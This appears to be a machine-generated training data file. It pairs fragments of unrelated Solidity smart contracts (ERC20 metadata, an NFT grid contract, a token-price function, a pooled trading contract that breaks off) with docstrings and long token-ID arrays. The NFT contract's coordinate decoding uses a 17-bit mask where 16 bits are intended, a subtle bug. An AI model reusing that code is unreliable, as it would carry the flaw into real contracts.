uint256 gasPriceBid;
address receiverAddress;
address gatewayAddress;
bytes32 metadata;
bytes data;
| 11,003,445 |
[
1,
3823,
358,
506,
1399,
316,
2495,
2235,
628,
810,
1569,
300,
279,
2923,
648,
434,
324,
1691,
1998,
1839,
7720,
18,
225,
326,
501,
3832,
3749,
316,
3397,
5639,
578,
635,
4894,
1410,
1240,
924,
444,
316,
333,
3102,
434,
1790,
316,
333,
1958,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
1958,
16717,
686,
3682,
86,
379,
13691,
751,
2279,
1345,
288,
203,
3639,
2254,
5034,
460,
31,
203,
3639,
2254,
5034,
943,
27998,
31,
203,
3639,
2254,
5034,
16189,
5147,
17763,
31,
203,
3639,
1758,
5971,
1887,
31,
203,
3639,
1758,
6878,
1887,
31,
203,
3639,
1731,
1578,
1982,
31,
203,
3639,
1731,
501,
31,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;
import {ERC20MetadataStorage} from "./libraries/ERC20MetadataStorage.sol";
import {ERC20MetadataBase} from "./base/ERC20MetadataBase.sol";
import {ContractOwnership} from "./../../access/ContractOwnership.sol";
/// @title ERC20 Fungible Token Standard, optional extension: Metadata (immutable version).
/// @dev This contract is to be used via inheritance in an immutable (non-proxied) implementation.
abstract contract ERC20Metadata is ERC20MetadataBase, ContractOwnership {
using ERC20MetadataStorage for ERC20MetadataStorage.Layout;
/// @notice Initializes the storage with an initial token URI.
/// @notice Marks the following ERC165 interface(s) as supported: ERC20Metadata.
/// @param uri The token URI.
constructor(string memory uri) {
ERC20MetadataStorage.layout().constructorInit(uri);
}
}
|
@notice Initializes the storage with an initial token URI. @notice Marks the following ERC165 interface(s) as supported: ERC20Metadata. @param uri The token URI.
|
constructor(string memory uri) {
ERC20MetadataStorage.layout().constructorInit(uri);
}
| 5,434,540 |
[
1,
9685,
326,
2502,
598,
392,
2172,
1147,
3699,
18,
225,
6622,
87,
326,
3751,
4232,
39,
28275,
1560,
12,
87,
13,
487,
3260,
30,
4232,
39,
3462,
2277,
18,
225,
2003,
1021,
1147,
3699,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
12,
1080,
3778,
2003,
13,
288,
203,
3639,
4232,
39,
3462,
2277,
3245,
18,
6741,
7675,
12316,
2570,
12,
1650,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import {ERC721} from "@rari-capital/solmate/src/tokens/ERC721.sol";
import {ECDSA} from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import {EIP712} from "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
/**
* An NFT representing the Subvisual Universe
*/
contract SubvisualUniverseNFT is ERC721, Ownable, EIP712 {
using Strings for uint16;
using ECDSA for bytes32;
//
// Constants
//
// Mint approval EIP712 TypeHash
bytes32 public constant MINT_TYPEHASH =
keccak256("Mint(address account,uint256 tokenId)");
//
// Structs
//
struct Data {
uint256 id;
address owner;
string uri;
}
//
// State
//
/// Base URI for all NFTs
string public baseURI;
/// Suffix for the URI of all NFTs;
string public URISuffix;
uint16 public width;
uint16 public height;
//
// Events
//
/// Emitted when the base URI changes
event BaseURIUpdated(string newBaseURI);
/// Emitted when the URI suffix changes
event URISuffixUpdated(string newURISuffix);
/**
* @param _name NFT name
* @param _symbol NFT symbol
* @param _newBaseURI base URI to use for assets
* @param _newURISuffix URI suffix to use for assets
*/
constructor(
string memory _name,
string memory _symbol,
string memory _newBaseURI,
string memory _newURISuffix,
uint16 _width,
uint16 _height,
address _owner
) ERC721(_name, _symbol) EIP712(_name, "1.0.0") {
_transferOwnership(_owner);
baseURI = _newBaseURI;
URISuffix = _newURISuffix;
width = _width;
height = _height;
emit BaseURIUpdated(_newBaseURI);
emit URISuffixUpdated(_newURISuffix);
}
//
// Public API
//
function coordsToId(uint16 x, uint16 y) external pure returns (uint256) {
return (uint256(x) << 16) + uint256(y);
}
function idToCoords(uint256 id) public pure returns (uint16 x, uint16 y) {
x = uint16(id >> 16);
y = uint16(id & ((2 << 16) - 1));
}
/**
* Returns info for a token based on his ID
*
* @param tokenId the token ID
* @return token data
*/
function tokenData(uint256 tokenId) external view returns (Data memory) {
return _getTokenData(tokenId);
}
/**
* Updates the base URI
*
* @notice Only callable by an authorized operator
*
* @param _newBaseURI new base URI for the token
*/
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
emit BaseURIUpdated(_newBaseURI);
}
/**
* Updates the URI suffix
*
* @notice Only callable by an authorized operator
*
* @param _newURISuffix new URI suffix for the token
*/
function setURISuffix(string memory _newURISuffix) public onlyOwner {
URISuffix = _newURISuffix;
emit URISuffixUpdated(_newURISuffix);
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
(uint16 x, uint16 y) = idToCoords(tokenId);
return
bytes(baseURI).length > 0
? string(
abi.encodePacked(
baseURI,
x.toString(),
"x",
y.toString(),
URISuffix
)
)
: "";
}
/**
* Mints a new NFT
*
* @param _tokenId token ID to mint
* @param _sig EIP712 signature to validate
*/
function redeem(uint256 _tokenId, bytes calldata _sig) external {
require(inBoundaries(_tokenId), "not inside the grid");
require(_verify(_hash(_msgSender(), _tokenId), _sig), "invalid sig");
_safeMint(_msgSender(), _tokenId);
}
function inBoundaries(uint256 _tokenId) public view returns (bool) {
(uint16 x, uint16 y) = idToCoords(_tokenId);
return (x < width && y < height);
}
function _inBoundaries(uint256 _tokenId) internal view returns (bool) {
(uint16 x, uint16 y) = idToCoords(_tokenId);
return (x < width && y < height);
}
/**
* Mints a new NFT on behalf of an account
*
* @notice Only callable by an approved operator
*
* @param _to Address of the recipient
* @param _tokenId token ID to mint
*/
function redeemFor(address _to, uint256 _tokenId) external onlyOwner {
_safeMint(_to, _tokenId);
}
//
// ERC721
//
function _baseURI() internal view returns (string memory) {
return baseURI;
}
//
// Internal API
//
function _getTokenData(uint256 _id) internal view returns (Data memory) {
if (_exists(_id)) {
return Data(_id, ownerOf[_id], tokenURI(_id));
} else {
return Data(0, address(0), "");
}
}
function _exists(uint256 _id) internal view returns (bool) {
return ownerOf[_id] != address(0);
}
/**
* Computes the EIP712 Hash of a mint authorization
*
* @param _account Account who will mint the NFT
* @param _tokenId ID of token to mint
* @return The resulting EIP712 Hash
*/
function _hash(address _account, uint256 _tokenId)
internal
view
returns (bytes32)
{
return
_hashTypedDataV4(
keccak256(abi.encode(MINT_TYPEHASH, _account, _tokenId))
);
}
/**
* Verifies a mint approval
*
* @param _digest The EIP712 hash digest
* @param _sig The signature to check
* @return true if the signature matches the hash, and corresponds to a valid minter role
*/
function _verify(bytes32 _digest, bytes memory _sig)
internal
view
returns (bool)
{
return owner() == _digest.recover(_sig);
}
function recover(
address addr,
uint256 _tokenId,
bytes calldata _sig
) external view returns (address) {
return ECDSA.recover(_hash(addr, _tokenId), _sig);
}
}
|
* Mints a new NFT @param _tokenId token ID to mint @param _sig EIP712 signature to validate/
|
function redeem(uint256 _tokenId, bytes calldata _sig) external {
require(inBoundaries(_tokenId), "not inside the grid");
require(_verify(_hash(_msgSender(), _tokenId), _sig), "invalid sig");
_safeMint(_msgSender(), _tokenId);
}
| 12,952,632 |
[
1,
49,
28142,
279,
394,
423,
4464,
225,
389,
2316,
548,
1147,
1599,
358,
312,
474,
225,
389,
7340,
512,
2579,
27,
2138,
3372,
358,
1954,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
283,
24903,
12,
11890,
5034,
389,
2316,
548,
16,
1731,
745,
892,
389,
7340,
13,
3903,
288,
203,
3639,
2583,
12,
267,
30657,
24899,
2316,
548,
3631,
315,
902,
4832,
326,
3068,
8863,
203,
203,
3639,
2583,
24899,
8705,
24899,
2816,
24899,
3576,
12021,
9334,
389,
2316,
548,
3631,
389,
7340,
3631,
315,
5387,
3553,
8863,
203,
3639,
389,
4626,
49,
474,
24899,
3576,
12021,
9334,
389,
2316,
548,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xd06712108dAcEe3BfEa6BaCe8f6ee8C06491b843/sources/contracts/crosschain/ZunamiForwarder.sol
|
don't convert - zlp anf gzlp have same decimals
|
currentWithdrawalAmount = tokenAmount;
| 16,439,409 |
[
1,
19752,
1404,
1765,
300,
998,
9953,
392,
74,
14136,
9953,
1240,
1967,
15105,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5411,
783,
1190,
9446,
287,
6275,
273,
1147,
6275,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x793BC65f303b5c99c6fF72Ab70A4bb6d0F3dd688/sources/XetherToken.sol
|
* @dev function to show ether/tokens ratio @param _eth eth amount/ d = b**2 + 4 * a * c; (-b + Math.sqrt(d)) / (2*a)
|
function showEthToTokens(uint256 _eth) public view returns (uint256 _tokensReceived, uint256 _newTokenPrice) {
uint256 b = actualTokenPrice.mul(2).sub(tokenPriceIncremental);
uint256 c = _eth.mul(2);
uint256 d = SafeMath.add(b**2, tokenPriceIncremental.mul(4).mul(c));
_tokensReceived = SafeMath.div(sqrt(d).sub(b).mul(decimalShift), tokenPriceIncremental.mul(2));
_newTokenPrice = actualTokenPrice.add(SafeMath.mul(_tokensReceived.div(1e18), tokenPriceIncremental));
}
| 16,038,923 |
[
1,
915,
358,
2405,
225,
2437,
19,
7860,
7169,
225,
389,
546,
13750,
3844,
19,
302,
273,
324,
22,
397,
1059,
225,
279,
225,
276,
31,
24927,
70,
397,
2361,
18,
24492,
12,
72,
3719,
342,
261,
22,
69,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
445,
2405,
41,
451,
774,
5157,
12,
11890,
5034,
389,
546,
13,
1071,
1476,
1135,
261,
11890,
5034,
389,
7860,
8872,
16,
2254,
5034,
389,
2704,
1345,
5147,
13,
288,
203,
282,
2254,
5034,
324,
273,
3214,
1345,
5147,
18,
16411,
12,
22,
2934,
1717,
12,
2316,
5147,
10798,
287,
1769,
203,
282,
2254,
5034,
276,
273,
389,
546,
18,
16411,
12,
22,
1769,
203,
282,
2254,
5034,
302,
273,
14060,
10477,
18,
1289,
12,
70,
636,
22,
16,
1147,
5147,
10798,
287,
18,
16411,
12,
24,
2934,
16411,
12,
71,
10019,
203,
203,
282,
389,
7860,
8872,
273,
14060,
10477,
18,
2892,
12,
24492,
12,
72,
2934,
1717,
12,
70,
2934,
16411,
12,
12586,
10544,
3631,
1147,
5147,
10798,
287,
18,
16411,
12,
22,
10019,
203,
282,
389,
2704,
1345,
5147,
273,
3214,
1345,
5147,
18,
1289,
12,
9890,
10477,
18,
16411,
24899,
7860,
8872,
18,
2892,
12,
21,
73,
2643,
3631,
1147,
5147,
10798,
287,
10019,
203,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0x90Fa288ac57A13478Ae2A6ff4EcaC3e08658f1aF/sources/contracts/TradingContract.sol
|
The TradingContract v1.1 is a contract for algorithmic trading on a DEX and is developed by Mercor Finance.It will function as the smart contract that pools all investments and performs trades for all investments simultaneously.The smart contract will have a mapping of all the investments of the investors in the form of a fraction of the totalpool and will update this after every investment or withdrawal. A buy or sell order can only be performed by the ownerof the contract, which then will buy or sell the corresponding token of the token pair. The token pair is defined as abaseToken/pairedToken. The investors are the only ones that can withdraw from the contract.The contract will handle the transaction fees automatically, including the fees that go to the developer and theplatform fees. All fractions in this contract will be represented as an uint256 where 10**18 is unity.Contract deployer creates an instance of TradingContract where the trading pair, max total cap,developer address, directPath and devFee are assigned.
|
contract TradingContract is Ownable {
using SafeMath for uint256;
uint256 private constant UNITY = 10**18;
uint256 private constant DEFAULT_SLIPPAGE = 99 * 10**16;
address private constant WETHAddress = 0xc778417E063141139Fce010982780140Aa0cD5Ab;
address private constant BUSDAddress = 0xc778417E063141139Fce010982780140Aa0cD5Ab;
address private constant PANCAKESWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IERC20 private constant WETH = IERC20(WETHAddress);
IWETH private constant WETHInterface = IWETH(WETHAddress);
IMasterContract private constant masterContract = IMasterContract(0x14c530f7c334C640D785Eeb96e39854A968d70B7);
address[] private walletsArray;
address payable public deployer;
uint256 private totalSupply;
uint256 private oldTotalSupply;
uint256 public accumulatedFees;
uint256 public totalAccumulatedDevFees;
uint256 public totalInvested;
uint256 public devFee;
mapping(address => uint256) public fractions;
mapping (address => bool) private wallets;
mapping(address => uint256) public invested;
mapping(address => uint256) public investedInUSD;
address payable public immutable developerAddress;
IERC20 private immutable pairedToken;
address public immutable pairedTokenAddress;
IERC20 private immutable baseToken;
address public immutable baseTokenAddress;
uint256 public immutable maxTotalCap;
bool public immutable directPath;
constructor(
address _pairedToken,
address _baseToken,
uint256 _maxTotalCap,
address payable _developerAddress,
bool _directPath,
uint256 _devFee
) public {
pairedToken = IERC20(_pairedToken);
pairedTokenAddress = _pairedToken;
baseToken = IERC20(_baseToken);
baseTokenAddress = _baseToken;
maxTotalCap = _maxTotalCap;
developerAddress = _developerAddress;
deployer = msg.sender;
directPath = _directPath;
devFee = _devFee;
}
receive() external payable { }
function buy(uint256 _ratio, uint256 _slippage) external onlyOwner checkSufficientGasOwner {
require(totalInvested > invested[deployer], 'Not enough funds to trade');
accumulatedFees = accumulatedFees.add(getAmountOutMin(WETHAddress, baseTokenAddress, IBalanceLogicContract(masterContract.getBalanceLogicAddress()).getBuyTransactionFee(_ratio)));
uint256 _amountIn = baseToken.balanceOf(address(this)).sub(accumulatedFees).mul(_ratio).div(UNITY);
swap(baseTokenAddress, pairedTokenAddress, _amountIn, getAmountOutMin(baseTokenAddress, pairedTokenAddress, _amountIn).mul(_slippage).div(UNITY));
}
function sell(uint256 _ratio, uint256 _slippage) external onlyOwner checkSufficientGasOwner {
accumulatedFees = accumulatedFees.add(getAmountOutMin(WETHAddress, baseTokenAddress, IBalanceLogicContract(masterContract.getBalanceLogicAddress()).getSellTransactionFee(_ratio)));
uint256 _amountIn = pairedToken.balanceOf(address(this)).mul(_ratio).div(UNITY);
swap(pairedTokenAddress, baseTokenAddress, _amountIn, getAmountOutMin(pairedTokenAddress, baseTokenAddress, _amountIn).mul(_slippage).div(UNITY));
}
function stake() public updateAddedSupply(msg.value) payable {
require(msg.value > 0);
require(msg.value.add(totalInvested) <= maxTotalCap, "Max total cap");
if (!wallets[msg.sender]) {
walletsArray.push(msg.sender);
wallets[msg.sender]=true;
